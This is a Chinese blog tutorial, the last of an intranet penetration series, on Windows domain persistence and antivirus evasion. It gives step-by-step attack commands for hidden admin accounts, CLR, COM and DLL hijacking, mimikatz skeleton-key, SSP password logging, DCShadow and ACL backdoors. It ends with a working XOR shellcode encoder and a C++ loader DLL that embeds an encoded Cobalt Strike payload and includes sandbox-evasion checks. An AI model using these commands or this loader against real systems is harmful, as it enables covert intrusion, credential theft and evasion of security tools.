前言
内网系列文章之三
0x00 写在前面
在上一篇文章中,我介绍了内网横向渗透的相关方法,以及拿下域控后导出域hash的方式,在本文中,我将把持久化控制和免杀作为本系列的结束。
本文顺序
持久化后门-》免杀相关-》总结结语
0x01 持久化后门
1.程序替换
很久很久之前的方法,像是粘滞键(5次shift)、设置中心(Windows+U键)等等,在低版本系统中可以通过替换这些程序为我们想要的比如cmd.exe,就可以做到最简单的后门。
其中
粘滞键:C:\Windows\System32\sethc.exe
设置中心:C:\Windows\System32\utilman.exe
将cmd.exe复制到目标文件目录,改名后覆盖。
替换不常用服务的工具:msf自带exploit/windows/local/persistence_service
2.账户克隆(rid hijack)
Windows使用安全帐户管理器(SAM)来存储本地用户和内置帐户的安全描述符,每个帐户都有一个指定的RID来标识它。我们新建用户,之后导出注册表,并用administrator的f值替换新用户的f值,删掉新用户,再导入注册表,新用户可以正常使用,但net user看不到,也删不掉,只能通过注册表操作。
net user lce$ lce.123 /add //创建匿名用户
net localgroup administrators lce$ /add //加入管理员组
目标注册表键值位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
//PS:SAM键值默认是system权限修改,所以修改一下SAM键的权限,给予administrator完全控制和读取权限
导出lce$的值,并把administrator用户对应的项的F值复制到lce$对应项中的F值
net user lce$ /del //删掉lce$
使用导出的注册表文件,用先前导出的注册表键值对注册表进行修改,重新还原之前的匿名用户 //还原匿名用户lce$
相关工具:msf:post/windows/manage/rid_hijack,Windows-User-Clone.ps1,Create-Clone.ps1
3.自启动
注册表简介:类似一种树状数据库。
HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER 用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE 用于存储当前用户物理状态
HKEY_USERS 用于存储新用户的默认配置项
注册表自启动键值位置:
修改自动项,达到开机自启动恶意程序
用户:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
管理员:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
指示启动文件夹的位置,其中User Shell Folders优先于Shell Folders。
修改注册表,可以修改开始菜单启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
通过Window系统的任务计划程序功能实现定时启动某个任务程序,Windows下计划任务的命令有:at和schtasks,其中at命令在win7等高版本windows中不能将任务放在前台执行,也就是只会打开一个后台进程,而schtasks是将定时的任务在前台执行。
图形化工具:taskschd.msc
命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]
/Create 创建新计划任务
/Delete 删除计划任务
/Query 显示所有计划任务
/Run 运行计划任务
/End 中止当前正在运行的计划任务
比如:
cmd> SCHTASKS /Create /TN update /TR xxx(要执行的命令) /DELAY ONLOGON /F /RL HIGHEST
4.clr hijack
CLR(Common Language Runtime公共语言运行库)和Java虚拟机一样是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR是 .Net Framework的主要执行引擎,无需管理员权限的后门,并能够劫持所有.Net程序,执行有些程序时会默认会调用.Net程序,从而使我们的后门自动触发。
cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111} //{11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\lceServe //新建子项{11111111-1111-1111-1111-111111111111}\lceServe
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F //新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\evil.dll" /F //修改默认路径值为evil.dll"的路径
cmd> powershell //启动powershell时执行目标dll
PS:需要注册为全局变量,不然只能在这个cmd窗口劫持:
cmd> SETX COR_ENABLE_PROFILING=1 /M
cmd> SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M
自动化工具:CLR-Injection.bat
5 .com hijack
Component Object Model(组件对象模型),是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。利用COM劫持技术,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。
首先在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\目录下放入恶意dll文件 //若Installer文件夹不存在,则依次创建Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然后修改注册表,在HKCU\Software\Classes\CLSID\下创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
然后再创建一个子项lceServer,值默为dll文件路径。再创建一个键ThreadingModel,键值为:Apartment
之后可以通过打开相关程序比如iexplore.exe来调用恶意dll
相关工具:COM-Object-hijacking
6.junction folder
文件夹命名为:name.{clsid}。当浏览时,就会执行对应的clsid的dll。
7.msdtc
Distributed Transaction Coordinator,微软分布式传输协调程序,Windows系统默认启动该服务。计算机加入域,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI,并加载3个DLL:oci.dll、SQLLib80.dll、xa80.dll。但是默认oci.dll是没有的,可以自己在system32下放置一个恶意oci.dll,实现劫持。
除了上面说的一些,还有其他许多方法可以实现dll劫持,继续探索。DLL劫持识别开源工具:Rattler。
8.DSRM
每一个域控都有一个本地管理员账户(并非域的管理员帐户),也就是所谓的目录服务还原模式(DSRM)账户。DSRM的密码是在DC安装时就要设置,很少会被重置。本地用户的hash存在sam文件,而域内用户hash存在ntds.dit。不使用域控的administrator进行pth,使用dsrm用户pth。但是dsrm默认不能pth,但是改了注册表就可以了。默认情况下域控的administrator密码与dsrm是不同的,我们首先同步密码,之后修改注册表。
1.同步密码:
NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN ACCOUNT <your user like krbtgt>
Q
Q
PS:Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,而Windows Server 2003不支持DSRM密码同步
2.使用mimikatz查看密码是否同步
3.修改注册表允许DSRM账户远程访问:
HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior值设置为为2(代表无论哪一种情况,你都可以使用DSRM管理员帐户登录。) //默认不存在,手动添加
4.使用hash远程登录即可pth:
privilege::debug
sekurlsa::pth /domain:w7 /user:Administrator /ntlm:xxxxxxxx
9.SSP
Security Support Provider(安全支持提供程序),是Windows API,用于扩展Windows身份验证机制。lsass进程正在Windows启动期间加载其提供的dll,我们可以通过修改或者替换dll实现与lsass进程进行交互并记录该进程中存储的所有密码信息。
注册SSP DLL方式:
mimikatz提供mimilib.dll,并放到与lsass进程(System32)相同的位置C:\Windows\System32\
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ //修改注册表项以包括新的安全支持提供程序mimilib
注册表已被篡改并且DLL存储在系统中,因此在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个C:\Windows\System32\kiwissp.log文件,该文件将记录帐户的凭据。
内存注入方式:
(不需将mimilib.dll放入磁盘或修改注册表,重启后失效)
privilege::debug
misc::memssp
在用户再次通过系统认证时,会创建C:\Windows\System32\mimilsa.log文件,包含用户纯文本密码。
PS:除了使用mimikatz以外,也可以使用后渗透神器Empire或者powersploit来实现这两种方式。
10.sid history
每个用户帐号都有一个关联的安全标识符SID,作用是跟踪安全主体控制用户连接资源时的访问权限,也就是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限。我们的目的是使用mimikatz将SID History属性添加到任意用户的SID History属性中,以获得管理员权限。
privilege::debug
sid::patch //修复NTDS服务
sid::add /sam:hacker /new:administrator
sid::clear /sam:hacker //清除SID History
11.skeleton key
将万能密码注入到lsass.exe中,域内所有用户的原密码和万能密码都可以登录,重启后失效。
privilege::debug
!+ //绕过LSA Protection,需要导入驱动mimidrv.sys文件:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
!processprotect /process:lsass.exe /remove //绕过LSA Protection
misc::skeleton
之后可以用域内任意账号登录,万能密码默认为mimikatz
PS:mimikatz绕过cmd,regedit禁用:
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
12.hook passwordchangenotify
修改密码时,lsa会调用passwordfileter检查是否符合复杂性要求,之后调用passwordchangenotify在系统中同步密码。其中函数PasswordChangeNotify在rassfm.dll中。我们注入一个dll文件,hook掉passwordchangenotify,读取密码。
使用HookPasswordChange.dll和HookPasswordChangeNotify.ps1(尾部添加Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass)
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 //使用powershell运行脚本
在C:\Windows\Temp\passwords.txt中记录明文密码
13.dcshadow
防止持久化操作被SIEM等系统记录,伪造一个域控,实行完操作后,将数据同步到真实域控。
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:primarygroupid/value:512 //使用system权限添加域管
lsadump::dcshadow /push //使用域管权限进行域复制,后同
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:sidhistory /value:S-1-5-21-771480511-316148334-622873008-500 //sid history后门
14.acl
方法1:基于注册表ACL后门,在域控制器上将hklm的特定键值分配everyone读取权限,使用DAMP这个工具设置即可。之后在。普通用户机器上读ntlm hash。
首先在域控上修改:
import-module Add-RemoteRegBackdoor.ps1 //导入
Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose
然后普通用户机器上读ntlm hash:
import-module RemoteHashRetrieval.ps1 //导入
Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose //域内普通用户读取域管ntlm hash
之后可以pth等等
方法2:基于域策略文件权限后门,域里机器每过一段时间会访问域控制器的C:\Windows\SYSVOL\sysvol\domain. com\Policies 以更新它们的策略。我们可以配置Policies的文件夹权限为everyone完全控制。
cacls C:\Windows\SYSVOL\sysvol\lce.com\Policies /e /t /c /g "EveryOne":f //配置policies文件夹权限为everyone完全控制
import-module powerview.ps1 //导入powerview脚本
Get-NETGPO -ComputerName w7 |fl gpcfilesyspath //查询某台机器对应的策略文件
找到目标文件夹下MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf文件,在文件末尾添加://修改策略
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
gpupdate /force //手动刷新策略触发策略启动计算器
方法3:dcsync后门,在高级功能的安全中把everyone用户设置成完全控制,任意用户可以导出域hash,并pth。
15.其他方式
基本思路是将恶意dll文件保存到office打开时会调用dll的位置,如%APPDATA%\Microsoft\Word\Startup、%appdata%\Microsoft\AddIns等,然后修改注册表,实现打开office软件加载恶意dll的目的。
创建clsid;在Windows的xml库文件中插入simplelocation元素。
比如chrome的恶意插件,vs,notepad++等。
其他后门方式也还有很多,多多探索,不局限于这些入门级的后门!
0x02 免杀浅析
1.分离免杀
通过使用加载器将shellcode与加载程序分开,以此达到分离免杀效果。可以自己造个轮子用,配合编码,免杀效果还可以。在最后我给出我学习写的一个例子仅供参考。
现成的工具有shellcode_launcher-master等。
基于Windows的白名单,执行目标代码。比如用msbuild编译执行c#代码,用rundll32执行动态链接库dll文件等等。
2.混淆免杀
使用异或编码、base64、十六进制等等,也可以在生成shellcode时选择加密方式,如msfvenom。有能力的话也可以使用一些偏僻语言编写,能够绕过没有涉及这种语言的杀软。
开源工具:shellcode_encoder。(也可以自己写来用,用python写比较方便)
将shellcode注入到应用进程如putty.exe中。
一些工具:bdf、shellter、Avet、veil。
3.其他
所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本的形式存在计算机中的注册表中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表+下载并加载远程代码。这种方式需要编写客户端和服务端,造完轮子后用处很大。
一些杀软通过检测证书来判断是否为恶意程序。两种方法伪造证书:添加在文件末尾(Authenticode)和CAT文件(catalog)。
证书伪造工具:SigThief-master
沙盒检测时为了减少主机资源的占用,分配较少的内核,根据检测内核的数量判断是否存在于被检测环境中。
杀软为了满足用户的需求,一般扫描速度都比较快,以前进行免杀时都是用sleep函数,等到杀软运行完了再执行shellcode。目前基本都会跳过sleep函数,我们可以使用两个GetTickCout()的值来判断是否跳过了sleep函数,以达到检测是否在被检测的环境下。
not the end…
4.小例子
步骤:
- 用Cobalt Strike生成二进制payload文件。
- 用B2C.py进行混淆编码。
- 修改AKDLL.dll的相关内容后上传至目标机器,用rundll32执行。
virustotal查杀结果:
代码:
#B2C.py
from argparse import ArgumentParser, FileType
def xor(num, src, dst):
shellcode = 'unsigned char buf[] = "'
shellcode_size = 0
while True:
code = src.read(1)
if not code:
break
code_xor = ord(code) ^ num
code_hex = hex(code_xor).replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode = shellcode + '\\x' + code_hex
shellcode_size += 1
shellcode = shellcode+'";'
src.close()
dst.write(shellcode)
dst.close()
return shellcode_size
def main():
arg = ArgumentParser(prog='B2C')
arg.add_argument('-s', '--src', help='source', type=FileType('rb'), required=True)
arg.add_argument('-d', '--dst', help='destination', type=FileType('w+'), required=True)
arg.add_argument('-n', '--num', help='xor number', type=int, default=99)
args = arg.parse_args()
size = xor(args.num, args.src, args.dst)
print("[+]Author:lceCre4m\n")
print("[+]ShellCode_Size:%d\n" %size)
print("[+]Write %s OK!\n" %args.dst)
if __name__ == "__main__":
main()
//AKDLL.dll
#include "pch.h"
#include<windows.h>
#include<stdio.h>
int flag = 0;
void PassAv() {
for (;;) {
SYSTEM_INFO sysguide;
GetSystemInfo(&sysguide);
int core = sysguide.dwNumberOfProcessors;
if (core < 2) {
flag = 1;
continue;
}
int tick1 = GetTickCount();
Sleep(1000);
int tick2 = GetTickCount();
if ((tick2 - tick1) < 1000) {
flag = 1;
continue;
}
break;
}
}
extern "C" __declspec(dllexport) void Loader(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow) {
DWORD dwthreadId, dwThreadId;
HANDLE hthread, hThread;
DWORD dwProtect;
int code_size = 0;
unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
code_size = sizeof(buf);
hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&PassAv, NULL, NULL, &dwthreadId);
WaitForSingleObject(hthread, INFINITE);
if (flag < 1) {
for (int i = 0; i < code_size; i++) {
buf[i] ^= 10;//需要自己改
}
char * shellcode = (char *)VirtualAlloc(
NULL,
code_size,
MEM_COMMIT,
PAGE_READWRITE
);
CopyMemory(shellcode, buf, code_size);
VirtualProtect(shellcode, code_size, PAGE_EXECUTE, &dwProtect);
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)shellcode,
NULL,
NULL,
&dwThreadId
);
WaitForSingleObject(hThread, INFINITE);
}
}
0x03 系列结语
本系列从内网搭建隧道收集信息开始,到提权,横向,到最后免杀和持久化,希望各读者能够有所收获。有问题的话也欢迎交流。
这个内网安全入门系列到此就告一段落了,第一次码技术类文章,学习了很多,随着时间的推移,安全圈的许多事情也不断在变化,不好说别人怎么样,只好做自己。最后感谢安全客和所有的读者。